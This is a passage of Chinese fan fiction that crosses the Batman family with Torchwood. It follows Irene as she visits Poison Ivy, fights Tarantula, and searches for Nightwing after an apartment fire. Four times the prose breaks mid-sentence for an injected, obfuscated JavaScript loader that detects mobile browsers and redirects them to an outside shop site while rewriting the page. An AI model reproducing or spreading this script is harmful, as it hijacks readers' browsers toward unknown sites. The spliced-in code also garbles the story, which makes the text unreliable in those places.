所以当艾丽丝让她远离爸爸、因为他只会带来危险时,她站在爸爸身前,很认真地对艾丽丝说:“我不会因此而退缩,因为我早就接受这个世界的危险与复杂,而我选择就在这里,看清它、面对它。如果我陷入危险,我没有任何人可以责怪,因为每个人都在被命运玩弄,我不奢求有人能带我跳出命运的圈套。” “伊琳,”在艾丽丝走后,杰克说,“艾丽丝的确应该责怪我。” “我知道。” “如果有一天,我没有照顾好你......”杰克顿了顿,继续说,“你也可以怪我。” “不,”伊琳固执地说,“我选择自己承担自己的安危,你不需要把这担在你的肩上。” “也好。”杰克想了一会儿,轻轻地笑了,“责怪和怨恨,是一件很累的事,没什么好的。” 于是杰克开始想办法不再让艾丽丝沉溺在负面情绪里,他以丰富的情场经验准确识别出可靠且有魅力的男人,用尽心思让他和艾丽丝偶遇。 当艾丽丝再次走进教堂婚礼时,杰克站在栏杆外面,眼睛被太阳晒得眯起,阴影勾勒出眼角隐约的皱纹。 他看起来并不开心。 伊琳过了很久才想明白他情绪低落的原因:艾丽丝会渐渐收起恨他的力气,重新用来爱人。他需要用两倍的力气去恨自己,才能给斯蒂芬找回一点小得可怜的公平。 “如果你想恨,就继续恨吧。”伊琳对克莱尔说,“但当你不想恨了的时候,不要逼着自己去恨。” ** 芭芭拉说,这个工厂是因为非法排放工业废水、污染周边土地才被勒令关停的,当时周围一片荒芜,土壤散发出一阵阵臭气。 伊琳很难想象,眼前这个绿植茂密到看不见墙体、甚至难以找到没有被藤蔓覆盖的能下脚的路的原始森林,和芭芭拉口中的废弃工厂会有什么联系。 并不是说绿植不好,但宽大的叶片盖住了天空,只靠穿透叶片的光线照亮前方,树木、花草、藤蔓层层叠叠地长在一起,实在是让伊琳头皮发麻。 总感觉走到哪里都会蹭到冰凉、湿润的草叶。 后脖子有些痒。 伊琳伸手去挠,结果抓上了什么湿润滑腻、好像有些鳞片毛刺的东西。 她往旁边一跳,转头去看,对上了一根绿色的藤蔓,没有任何支撑地支在空中,随着她的后退,还往前凑了凑。 像是一只探头探脑的小动物。 克莱尔兴奋地冲它打了个招呼:“嗨!带我去找艾薇!” 藤蔓上下动了动,像是在点头,之后转了个方向,开始前进了。伊琳跟在后面看了半天也没分清它的主体到底在哪儿,以及它是怎么移动的。 她低声问克莱尔:“你认识它?” “我也不知道,”克莱尔反而惊奇地望着她,“你在想什么?我还能分得出藤条哪根是哪根吗?反正能动的都是艾薇养着的,管那么多干什么。” 穿过一个树木留出的空档后,眼前的景致略微有了些变化,植物不再茂密到张牙舞爪,光线变成了冷色调,伊琳便知道这是进了室内了。 克莱尔加快脚步,因为行李包的重量,步子迈得很小,但是很急促。当一团红色出现时,她扔下包,扑了上去:“艾薇!” 她将头埋在艾薇的肩膀上,明明想好了要让艾薇知道自己能照顾自己、不会给她添麻烦,但一闻到艾薇身上草木的香气,说话时就忍不住带了些哽咽:“你都不来找我。” 两只手贴上了她的背——不止两只手,还有几只被艾薇操控者的藤蔓,上下摩挲着她的背。 “哦,克莱尔。”艾薇叫她的声音低得像叹息,但下一句就情绪高昂了起来,“我们一会儿再叙旧,让我先看看从外面来的小虫子。” 藤蔓迅速摩擦过草叶,卷住伊琳的脚踝,将她倒吊起来。 血液瞬间倒流,感觉有些晕晕乎乎的,伊琳尝试着撑起身子,最后决定放弃为难自己的腹部肌肉,荡在藤蔓上脑袋朝着地:“虽然我们第一次见,但也不用这么无情吧。我毕竟还把这个小家伙给你送过来了。” 艾薇蹲到了伊琳的面前,慢慢凑近她:“你说我无情?那你想要什么?一个吻?” 克莱尔咬住嘴唇,犹豫着拉住艾薇的手——虽然艾薇对她非常好,但她确实见过艾薇生气的样子。她们第一次见面时,艾薇直接用藤蔓勒死了威逼克莱尔偷窃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941492|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的犯罪团伙头目,埋进了土里做肥料。 “艾薇,她确实是送我来的。” 艾薇只是轻轻挣开了克莱尔的手,继续笑着注视伊琳。 伊琳微微转过头躲开:“哦,真遗憾,我已经有了一个漂亮的男朋友,不然我会很乐意。” 她脚上的束缚忽地一松,伊琳没有落在地面上,而是被藤蔓结成的网给接住了。 艾薇饶有兴致地打量着她:“我知道了,你是稻草人说的那个女孩!你那个漂亮的男朋友是第一只小知更鸟?” “就是他。” “蝙蝠和小鸟们都不敢来见我?” “可能是因为我比较温柔可亲,”伊琳冲着克莱尔眨了眨眼,“能和孩子相处好。” 克莱尔翻了个白眼:“你没比我大几岁。” 出乎伊琳意料的是,艾薇虽然在她提到芭芭拉和斯蒂芬妮时板起了脸,但很快恢复了活力四射的样子,带着她们穿梭在看不出原样的废弃工厂里。 “克莱尔,这些房间你可以随便挑着住。” 等克莱尔挑选好房间,艾薇又挥手用藤条搭建起吊床、桌椅。 “谢谢你,艾薇。”克莱尔抱住艾薇,在艾薇的催促下,又试着躺在吊床上面。她一躺下去,重量就将吊床拉着往下沉,吊床的两边往里收,像是把她网在了里面。 “很合适。”看着艾薇失落的神情,克莱尔言不由衷地说。 伊琳看着她们的互动,果断掏出手机:“说吧,除了床还缺什么,我下次来的时候安排人送货。” “下次来”是在五天后,正常的超市送货并不需要那么久,但无奈艾薇的住处并不正常,伊琳好心地没有挑战送货员的心理承受能力。 但对于街面上的罪犯,她就没有那么贴心了。 不过之所以拖到了五天后,并不是她需要花那么久才能抓几个罪犯做苦力,而是神谕、红罗宾联手禁止她跑到哥谭街上捣乱。 甚至连红头罩都没有本着“看热闹不嫌事大”的原则支持她的行动,只是在和黑面具的斗争中取得阶段性胜利后,给伊琳打包送来了几个归降的黑面具的小弟。 等他们一脚深一脚浅地走到工厂里面,被克莱尔兴奋地指挥着规制了东西,又拎着艾薇亲自培育的有机蔬菜水果到了伊琳的公寓。 伊琳决定不浪费艾薇的心意,用食材实践烹饪技巧。但为了给房东留一个全须全尾的厨房,她还是很有自知之明地拨通了视频电话。 电话接通后,那一头的光线完全看不出是在中午。如果不是知道夜翼还在隔壁的布鲁德海文,伊琳一定会认为他已经跑去了地球的另一头。 迪克撑着头,指挥着伊琳将锅里的水擦干:“不不不,别放太多油。现在加水,焖熟。”。 伊琳把锅盖盖上,松了一口气,看到迪克又打了个哈欠,忍不住说道:“你看起来很累。”她想起了论坛上有人发的布鲁德海文夜空中的夜翼灯,笑了:“我看到夜翼灯了,看样子海文的守护天使最近很忙。” “啊那个......只是一个小鬼找我帮忙。又是狼蛛女惹下的事。” 听到这句话时,伊琳紧盯着锅里沸腾冒泡的水,准备随时掀开锅盖,并没有把“狼蛛女”三个字放在心上。 她万万没想到,自己在第二天就会遇上狼蛛女。 29.阿卡姆越狱的第四天 阿卡姆疯人院越狱事件引起的混乱还在可控范围内,蝙蝠侠从暸望塔发来通讯,得知他们能够处理后,决定先留在正义联盟,帮助调查处理各类异常情况。 从他的表情来看,这件事估计很棘手——这是红罗宾说的,瞥了一眼通讯画面的伊琳是半点都没看出来,蝙蝠侠露出的半张脸和平日有什么不一样的地方。 蝙蝠系的众位英雄现在处在忙与不忙之间,他们正努力寻找着越狱的反派们,但因为反派们暂时还没搞出什么事情,所以英雄的人力绰绰有余,甚至还能为了谁开蝙蝠车打上一架。 当伊琳也跃跃欲试地想要加入蝙蝠车的争夺赛时,杰森毫不留情地泼了冷水:“别想了,驾驶蝙蝠车需要权限。” 看达米安表情傲慢地想要说些什么,杰森又往他的心口扎了一刀:“踩不到油门的小鬼也没有权限。” “你竟敢侮辱我,”达米安拔出武士刀,“你会为此付出代价的,托德。” 杰森翻了个白眼,跳起躲过刀光:“你是因为自己腿太短了,才喜欢砍别人的腿吗?” 斯蒂芬妮在一旁快活地宣布:“提姆能加蝙蝠车的权限!他的权限就是自己加的!” 达米安停下了动作,炯炯有神地盯住提姆:“德雷克......” 提姆哀嚎了一声:“斯蒂芬妮,把这件事说出来对你有什么好处吗?” “反正比体术赢的人不会是我。”斯蒂芬妮搂住伊琳的腰,阻止了她打算从后面接近提姆偷袭的动作,同情道,“别想了,你甚至没打过我。” 伊琳揉了揉被斯蒂芬妮过肩摔时撞到的手肘,弯下身子,把头埋在斯蒂芬妮肩上,蹭了蹭她柔软的金发,咕哝了一句:“我枪法还不错。” “相信我,如果是蝙蝠侠的话,他甚至不会给你机会掏出枪。” ** 伊琳其实不能理解这个宇宙的人为什么需要这么高超的体术,要知道她的身手在星际冒险时算得上绰绰有余,真正遇上大麻烦也是靠科技与智慧解决,毕竟就算是蝙蝠侠应该也不能一拳打爆一个戴利克吧...... ……应该不行吧? 不过超人估计可以,她那边的宇宙里如果有个氪星,戴利克大概也不能这样横行无忌。 但她目前面临的问题并不是戴利克,而是一个莫名其妙追着她打的狼蛛女。 顺便说一句,她并不是在布鲁德海文,而是行驶在去往毒藤女居住的废弃工厂的公路上,荒凉的路上无遮无拦,她甚至已经能看见前方的一片绿色。 所以当她听见身后传来摩托车的轰鸣时,完全没有料到紧接着的就是朝着自己车轮射来的一枪。 摩托车瞬间失控,车把一歪,车子直接撞上路旁的护栏。伊琳的小腿被车体和栏杆夹在里面,她倒抽了一口凉气,侧身将车子踹开,翻倒在栏杆外的草坪上。 她抱着伤腿,奋力抬起头,将那橘色制服和网上的传闻对上了号:“我听说你自称义警,这可和我想得不一样。” 狼蛛停下车,手里握着一把尖长的匕首,像是高脚蜘蛛的足,冲着她飞奔过来:“前提是那个家伙不要多管闲事。” “这听起来像是私人恩怨,不过好像不是和我的。”伊琳抱腿时动作隐蔽地摸到了大腿内侧的枪套,手指一拨揭开枪套,音速枪射出标志性的蓝色激光。 而狼蛛......直接消失了? 再仔细一看,伊琳发现狼蛛整个人横着黏在了一人宽的护栏后面。 护栏的材质拦不住音速枪,但狼蛛已经抓住了伊琳寻找她的那个瞬间,从护栏上翻了过来,跃起后扑在了伊琳身上,缠斗中卸下了她的手枪。 伊琳侧头躲过狼蛛刺下的匕首,手肘向上击打狼蛛,双腿环住狼蛛的腰,忍着受伤小腿的剧痛,使力将她扳了过去,两人位置瞬间对调。 她用小臂卡住狼蛛的脖子,剧烈地喘息着:“我现在很好奇,夜翼反对你的出现,究竟是因为你道德水平存疑,还是因为你实力不济。” 伊琳发誓,她这句话绝对是真情实感,毕竟这个世界的蒙面人里,狼蛛是第一个和她打到不相上下的。 但狼蛛却像是被这话给刺激到了:“至少我是义警,我比你更清楚怎样去守护一个城市。” 她用力踹向伊琳的伤腿,趁伊琳松了力气,刺出匕首。伊琳用手臂招架,不顾小臂被匕首尖刺伤,顺势用擒拿的手法抓住狼蛛的手腕。 两人的手在半空僵持不下,远处突然传来一个熟悉的声音:“伊琳!” 因为克莱尔跑得太快,她脑后散着的金发近乎飞了起来,在阳光下折射出耀眼的光。比她的头发更耀眼的是她手里的一把刀,她翻跨过栏杆,半跪在纠缠的二人身旁。看清战局后,二话不说就要对着狼蛛的肩头刺下。 狼蛛膝盖上顶,趁着伊琳闪身避让,用手带动伊琳,将她往克莱尔的方向掼了过去。克莱尔慌忙收刀,又被从伊琳身下脱身而出的狼蛛踢中腹部,向后跌了出去。 “事情还没结束。”狼蛛放下狠话,撑着栏杆翻回公路上,刚走出两步,两个脚腕就被藤蔓给束缚住了。 艾薇走了过来:“我的地方是你想来就来想走就走的吗?” “你的地方?” 艾薇抬手,路边的草瞬间疯长起来,将半蹲着的伊琳和克莱尔隐没在底下。 与此同时,束缚住狼蛛的两根藤蔓开始收缩,狼蛛被拽得笔直地向前摔去。摔落的那一刻,狼蛛掷出匕首,同另一个体积较小的黑色物体一起,飞向伊琳与克莱尔所在的方向。 藤蔓快速地松开了狼蛛,改换方向拦截住两个利器。狼蛛在空中翻转身体,背部落地,然后一个鲤鱼打挺站了起来,上了摩托车,绝尘而去。 “该死的,要不是我这次就带了两根藤条,我要她留下做肥料。” 艾薇确认了克莱尔没事后,又转向一直没有起身的伊琳:“怎么样,还能站吗?” 她虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954238|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然笔直地站着,但身后的藤条一直向前探头探脑,等伊琳伸出了手,藤条刷地一下挪到了她手边,停滞着不动了。 伊琳扶上藤蔓,另一根乖觉地绕到她身后将她支撑起来,她小跳着站稳了身体,目光敏锐地盯上藤蔓卷着的尖尖上露出的一点黑色。 “这是什么?”她摊开手,藤蔓前端松开,将东西轻轻放在了她的手心里。 艾薇探头来看——经过这段时间的相处,她已经将伊琳的感情生活八卦了一圈,所以她眼神诡异地在伊琳和黑色的物体间打转:“夜翼镖?那个人怎么会有夜翼镖?” “我并不好奇她为什么有夜翼镖,”伊琳清楚夜翼和狼蛛交过好几次手,有夜翼镖被狼蛛捡到并不稀奇,“我更好奇的是她把夜翼镖扔出来有没有别的原因。” 很明显,狼蛛袭击她主要是因为和夜翼的矛盾,但她也并不想下杀手,不然第一枪就不需要只往车轮上射。所以是对夜翼的威慑? 但狼蛛又说“我比你更清楚怎样去守护一个城市”,这句话明显是在和伊琳做比较,然而显得有些莫名其妙,毕竟伊琳自认也没有表现出想要争当城市守护天使的意思,想做守护天使的怎么说也得是大蓝鸟那样的...... 想到这里,伊琳的神色古怪起来:哦,所以狼蛛是在宣布她们两人相比,她更接近于海文的守护天使。 ** “狼蛛袭击了我。”视频接通后,伊琳直截了当地说。 迪克呛了一口水,翻坐起身:“什么?你没事吧?” “没事”。伊琳将事情简单地说了,补充道,“她对我来说不算什么威胁,大不了我留在艾薇这儿或者庄园不走了。” 迪克神情放松下来,伊琳却马上补了一句:“但伊琳·埃文斯和夜翼一起出现的次数并不多,周围有人目睹的情况更少。” 迪克若有所思:“而且据我的观察,狼蛛并不是一个精通分析调查的人。但她偏偏找到了你。” “而且别忘了,比起夜翼,伊琳和迪克·格雷森一起的次数更多些。” 如果狼蛛认定伊琳对夜翼是个关键人物,那么她会没注意到伊琳的男友迪克·格雷森吗? 迪克神色一凛:“我回去后会调查的。” 听到“回去”二字,伊琳挑高眉毛:“你不在布鲁德海文?其实我刚才就想问了,你穿的是什么?” 迪克扯了扯身上色彩鲜艳的紧身衣,看起来有些不好意思:“我在哈利马戏团,本来就是回来看看,没想到正好缺了一个空中飞人,我就顶上了。” “哇哦,”伊琳很给面子地惊呼,“什么时候演出?我到时候去看。” “演出就是今晚,你怕是赶不上。”迪克笑了,“下次我给你做一对一表演,只有最尊贵的宾客才能享受的服务哦。” “也是这条紧身衣?” 迪克眨了眨眼:“可以。” “那好吧,”伊琳挥了挥手,“祝你演出顺利。” 30.公寓起火的第一天 当天晚上,沉寂已久的谜语人终于高调地显露了踪迹,他通过视频宣布了自己最新的创作——一个需要多人协作完成解密通关的复杂谜题,藏有他最新的犯罪动态。 于是几个蝙蝠系英雄费尽心力和谜语人玩完了这一场脑力游戏,拆除了他安装在火车站的炸弹,最后把他按着揍了一顿后扔回到阿卡姆去。。 伊琳虽然被艾薇和克莱尔看着哪儿都不让去,但还是远程实时关注着几人的动向,等一切尘埃落定,才老老实实直挺挺地躺着,被藤条掖住被角。 睡下时天边已经隐隐有了亮光,迪克的飞人表演这件事睡前在她脑海里一闪而过,但实在是困得不行,于是决定等睡饱之后再关心一下男友的兼职活动。 醒来后第一次拨打迪克电话无人接听时,伊琳并没有太在意。直到第二次、第三次...... 一阵忽如其来的惊慌让她的心跳加速。 她刚打算打电话给其他人询问,一个本地新闻软件的消息通知吸引了她的注意力。 两则失火的消息是一同被推送到伊琳手机上的。 一处是哈利马戏团,另一处是布鲁德海文的一栋公寓楼。 伊琳一个字一个字确认着街道名、楼号,但哪怕着印证之前,她就已经清楚地知道这会是她所熟悉的那一栋。 先是马戏团,然后是公寓,显然,这是冲着迪克来的。 当芭芭拉的电话接通后,伊琳张了张嘴,一下子竟然发不出声音。 她说不清自己的思绪是纷乱不清还是一片空白,只觉得满脑子都是带着白噪音的雪花点,想要确认迪克是否安好的强烈想法挣扎而出,但又被不安与逃避给压了回去——她想要问,却又怕得到不好的答案,只留下一片无声的空白。 好在芭芭拉清楚她打电话过来是想问什么:“他没事。” 还没等伊琳的心跳速度平静下去,芭芭拉又说出了一个坏消息:“但我们都联系不上他。 “哈利马戏团那边的消息说,迪克在帮助救人之后没有留下,直接回了布鲁德海文。 “布鲁德海文公寓的伤亡名单里没有他。 “我们查不到他通讯设备的任何信号,可能已经在火灾里面被全部烧毁。” 伊琳越听越觉得头晕目眩,微微张开嘴,才意识到自己不知道从什么时候开始已经屏住了呼吸。她深吸了一口气,将眼前的模糊眨开,再次确认道:“但他没事,对吗?”说出口的话虚弱又沙哑,把她自己都吓了一跳。 芭芭拉将语气放得和缓:“有人在火灾后拍到了夜翼的影子,我正在追这条线索,看能不能从监控里查到什么。” 伊琳的心情渐渐平复下来,才注意到芭芭拉的声音也有些发颤。 “如果你愿意的话,可以来蝙蝠洞。我们都在这儿。” 这是伊琳第一次见芭芭拉出现在蝙蝠洞里,也是第一次见到安静到近乎死寂的蝙蝠洞。 她到达庄园时,阿尔弗雷德引她进了蝙蝠洞,并给她泡了一杯红茶。虽然阿尔弗雷德的言行举止与平日并无不同,但微微发红的眼圈还是有些引人注目。芭芭拉冲她点了点头,斯蒂芬妮凑过来给了她一个拥抱。 杰森原本一直盯着电脑屏幕,看她走进来,忍不住瞥了她一眼,又一眼:“放心,从火场救人这种事迪基鸟都干过无数次了,还不至于在这种地方翻车。多半是钻牛角尖躲起来了。” 红罗宾轻轻咳嗽一声:“我做了个程序,它会检测各大社交网站上新出现的‘夜翼’关键词,大家可以每个人分几条,看看能不能找到夜翼的实时位置。” 除了一些粉黑发言外,他们还真的找到了些比较新的关于夜翼的目击线索,许多条都是夜翼从一个街边的屋子离开,颤抖的镜头逐渐拉近,穿透破碎的玻璃,拍到了里面或躺或坐身上带伤的人模糊的身影。 “时间是三个小时前。”芭芭拉宣布,“地点是布鲁德海文一个小帮派的聚会点。” 蝙蝠洞里响起明显的舒气声,氛围一下子轻松不少。 杰森看了眼街角监控器拍到的夜翼出现到离开的间隔时间,感慨道:“好快,看来迪基鸟是真的被惹毛了。” 有了夜翼出现的时间点和具体位置,之后的行动路径排查工作就好做得多了。虽说布鲁德海文的监控摄像头维护得不怎么样,但多找几个角度还是能看得见角落里飞快掠过的黑影。 芭芭拉看着夜翼的行动轨迹皱起了眉:“他没有停过,一直在打击已知的帮派据点。” 她没有说出口,但所有人都明白了她的担忧:长时间进行这种高强度的行动,夜翼的状态会不可避免地下滑,在行动中遇到危险的可能大大提升。 怀着这种隐忧,他们加快了搜索的速度。 “我找到他了!”达米安突然高声喊道。 所有人都围到了达米安身边。 实时监控里的画面是一条小巷,夜翼露出的下半张脸上有些烟灰,原本黑色的制服上也有些灰扑扑的颜色,手臂的布料上有些许的撕裂。 他像是感知到了什么,抬起头,视线直直地看向监控。 他的脸上没有常挂着的戏谑俏皮的笑,紧抿着嘴,嘴角轻微向下,看上去竟与蝙蝠侠有着微妙的相似。 达米安操纵着监控,上下左右摇了摇,向他致意。 夜翼的姿势松弛下来,卡里棍重新收回背后,又对着监控打了几个动作。 因为卡珊德拉的原因,韦恩家的所有人都懂手语,瞬间辨认出了夜翼所打的这一段话。 “不要插手,这是我的责任。” 杰森读了出来,评价道:“就像我说的,迪基鸟又钻牛角尖了。” 伊琳看着夜翼走出监控画面,突然问道:“我们要去找他吗?” 几人面面相觑,在彼此眼里看到了相同的疑问。 “他太固执了,”芭芭拉语气犹豫,“如果他铁了心不想我们插手,我很怀疑我们到底能不能见到他。” “你们可以守好哥谭,我会在两天后去找迪克少爷。” 众人这才发现,阿尔弗雷德不知道什么时候回到了蝙蝠洞,还拿着一个鼓鼓囊囊的行李袋。他将行李袋放到地上,拉开拉链:“你们如果有什么要带给迪克少爷的,我可以一起带过去。” “为什么是两天后?” “因为两天后迪克少爷一定会出现在那里。”阿尔弗雷德叹了一口气,拿出一张对折的报纸,“两天后是在公寓火灾里丧生者的追悼会。” 伊琳第一次看到死者的完整名单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983651|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些名字看着眼熟,大概是打过招呼,但她并不能很确定地把名字对上脸。但她确实记得约翰·劳这个名字,为人和蔼可亲,她住在迪克家时还吃过劳先生送来的派。如果不是迪克说他就是初代狼蛛,她是断然想不到他和那个狼蛛女会有什么联系的。 达米安跳下椅子:“那我和你一起去。” “哇哦,别急,”斯蒂芬妮一把搂住达米安的脖子,“你还是和我一起在哥谭夜巡吧。” 达米安不快地拦下她的手:“为什么?” “你难道能忍得住不插手吗?” “我可以帮忙。” “但迪克需要亲手去做。”伊琳轻声说。 哈利马戏团、公寓楼,这已经不是英雄所处理的众多案件中的一起,并且这和这个案子是多么穷凶极恶无关。 有人在针对夜翼,这是一场私人恩怨。 迪克需要亲手去找到、惩治凶手,给被无辜牵连的受害者一个交代,也给自己一个交代。 伊琳清楚地知道这一点,但她却做不到不去担忧,尤其是看到监控里夜翼黯淡的神情之后。 她只是突然......很想见到他,哪怕只是对他说上一句或许无济于事的“我很抱歉”。 “我和你去。”伊琳对阿尔弗雷德说,“我不会插手。我只是想看看,他过得怎么样。” “如您所愿,埃文斯小姐。” ** 布鲁德海文的天空一如往日阴沉,到了十点钟晨雾都不曾散去,灰蒙蒙地压在人上。 市政为火灾中的遇害者立的纪念碑就在公寓的不远处,周围的街道狭窄,极易堵塞,所以远处时不时就会传来汽车喇叭声,静立着的人们以及黑乎乎的残垣,似乎与这继续前进的繁忙城市有些格格不入。 伊琳一打开车门,视线就锁定了人群前排的迪克。他穿着一身泛白的棒球外套,里面卫衣的帽子一半被外套压着,另一半露了出来,顶在灰扑扑的巨大背包上面。 他正偏着头和一位亚裔姑娘说着话,伊琳走过去时正好听到了一个尾巴:“......会付出代价。” 亚裔姑娘闻言抓住了他,连声追问:“你的意思是,这场火是人为的吗?” 警方还没有公布这件事的调查结果,迪克沉默下去,眼神躲避亚裔姑娘的追问,正好看见从人群里穿过的伊琳。 他看着伊琳在纪念碑前放下了一束百合,然后转过头,很轻地对他说了一句:“嘿,很高兴看到你没事。” 他不由自主地向前迈了一步,又犹豫着停住了。 伊琳突然间迈过两人之间的四五步距离,扑进他的怀里。被布鲁德海文的冷风吹得冰凉的手指贴上他的后颈,穿过他脑后支棱着的头发。 她大概抱着那束百合花抱了很久,她的前襟还残留着百合的香气,与她那神秘的果香夹杂在一起,像一片纯粹又生机盎然的原野。 与这灰蒙蒙的布鲁德海文格格不入,也与他格格不入。 在那么多人因他而死后,他怎么能再把她拽进深渊里。 迪克向后退了一步,挣开伊琳的怀抱:“你不该来这儿。” “迪克少爷,”阿尔弗雷德出声打断,手里拿着巨大的行李袋,“我们换个地方说话吧。” 31.公寓起火的第二天 迪克一直没有和他们对视。 他背对着他们,一路引着阿尔弗雷德和伊琳走到楼房与围墙人迹罕至的夹角处,靠在围墙上,眼睛看着地上,迟迟没有开口。 阿尔弗雷德递上了行李袋:“迪克少爷,我想你的东西可能都被烧毁了,就从庄园里拿了些你的东西。” 迪克拉开拉链看了一眼,一只掉毛的灰色小象从缝隙间挤了出来:“齐特卡!” “我想你会需要它的。” 迪克给了阿尔弗雷德一个拥抱:“谢谢你,阿福。” 他转向伊琳,犹豫着搭上她的肩膀:“也谢谢你,伊琳。” 伊琳的肩膀上披散着卷曲的长发,发尾并不像看起来那般柔顺,在手心里的感觉略微有些毛躁,海边雾气带来的湿润水汽附在上面,像是在草丛里蹭到了露珠的短毛兔子的毛发,撞在迪克的手心。 像她坦率直接的问题一样撞进他的心里:“你会好起来吗?” “我会的。”迪克知道自己现在的样子或许没什么说服力,“即使不是现在。” 迪克的背影消失在街角,阿尔弗雷德问的那句“您有住的地方吗”没有得到回应。伊琳猜测,迪克·格雷森或许就会这样消失在布鲁德海文的一角,留下的只有夜翼神出鬼没的身影。 “我该相信他,他是一个成熟的英雄。”伊琳对自己说。 “他曾经历许多危机,也曾从懊悔与自责中重拾坚定的信仰。” “这是他自己要解决的事,我应该尊重他的选择。”伊琳的手越攥越紧,像是要用掐进掌心的指甲抑制住自己胡乱奔驰的思绪。 阿尔弗雷德静静地听着,一言不发。 伊琳终究没能说服自己回转到哥谭,闭上眼睛,承认说:“我相信夜翼作为英雄的能力,但我担心他照顾不好迪克·格雷森。” “阿福,谢谢你送我过来,”她说,“我不回哥谭了。” “埃文斯小姐,容我我一句,您打算去哪里找迪克少爷?” 伊琳调出腕表投射的光屏,上面显示出一个快速移动的小红点,承认道:“我刚才在他帽子底下放了一个小玩意儿。”这个追踪器是神谕的技术支持。 “伊琳小姐,照顾好你自己。”阿尔弗雷德说,“当心腿上的伤。” 伊琳怔了一下,点点头。 她此前用蝙蝠洞的仪器检查过,之前和狼蛛的打斗并没有伤到骨头,只是腿上有严重的软组织挫伤,但歇了两天后已经不影响走动。要不是阿福执意要让她贴上膏药,她早就把这件事抛在脑后了。 但事实证明,才受过伤的腿不能支持长时间的运动。 地图上的小点跑得很快,刚在一个地方停留了一会儿,伊琳才趁这个机会拉近了些许距离,小点就突然转向,朝着另一边去了。 伊琳不用看也知道,那里一定又是一个被捣毁的帮派据点。 受伤的右腿从隐约的酸痛,逐渐过渡到略微一牵扯就痛到骨子里,她不敢让右腿受力,只能一瘸一拐地走着,路人开始朝她投来或疑惑或同情的目光。 她知道,她完全可以拦一辆出租车,舒舒服服地指挥着司机跟在后面跑。哪怕她担心司机意识到这条路径和夜翼痛打黑/帮的路线高度重合,也可以在路边挑一辆看起来好几天没人开的车,两根电线一摩擦,车就能短暂地认她为主。 可她偏偏用了最蠢笨的方法去追,咬牙忍痛忍到满头是汗,右脚落地时腿一软,左脚原地蹦哒了几下才保持住平衡。 她是在赌气,但她分不清自己到底是在和谁赌气,只觉得心里涌上一阵酸楚,眼睛涨得厉害。 伊琳单脚跳到路边坐下,看着来往的行人和车辆,眼皮一颤,将眼里蒙上的水汽拢成了泪珠落下。 她突然觉得无比委屈。 这个委屈来得毫无道理,毕竟迪克完全不知道她跟在后面,执意地走路追赶也是她自找罪受,怎么也怨不上迪克。 可是情绪这种东西是毫无道理可言的,一个相似的点被戳中,所有过去的记忆就像被大风刮起的纸片一样,纷乱地洒在她的心里。 她的整个人生好像都是跟在毫无自我保护意识的笨蛋身后,自作多情地为他们担心着。 她从来不是火炬木的正式探员,因为爸爸说火炬木的成员极少能有善终。她从小在火炬木里长大,但真正危险的外勤工作从来没有她的份。哪怕是在外星冒险的生死危机之时,只要有机会,爸爸都会把她先推进塔迪斯里,再独自去营救其他同伴。 她最怕看到的就是爸爸回来的时候原本的刮伤都消失了,因为那就意味着,他又死过一次。 杰克不理解她的担忧,还玩笑说反正自己不会死。 她不喜欢他轻谈死亡的样子,所以她也学着他,把死字挂在嘴边。有一阵子她又为戴不戴纳米薄膜和父亲争吵,争论为什么自己出去时永远被要求覆盖一层纳米薄膜:“我有致死的传染病?有辐射?” 她总是固执地追问:“既然这样,我是不是明天就会死?不是?那下个月?明年?” “你为什么这么想?”杰克这样回答道,“你很好,只是宇宙里有各式各样的病毒,你又不像我,在时间管理局里打过成百上千种疫苗。” 这个答案并不让她信服,但她顺水推舟要求说既然宇宙那么危险,他应该让她做足准备。 他训练她自保,但依旧不允许她主动参与任何危险的事:“就当是我的私心,我已经失去了太多,不想再失去你,我的小蜡烛。” 当他提起过去的伤痛时,伊琳就一下子什么话都说不出来了。 她在路边坐到了夕阳西斜,看着最后一抹光隐没在天际,等最后一家路边的店铺也落了锁,终于等到红点在靠海的地方停止不动了。 伊琳站了起来,血液重新流通后双腿一阵麻痒与针扎似的刺痛,她试着走了几步,右腿经过长时间的休整又恢复了正常,最多有一点点使不上力。 于是她朝着红点的方向走去。 布鲁德海文作为靠海的老牌工业城市, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 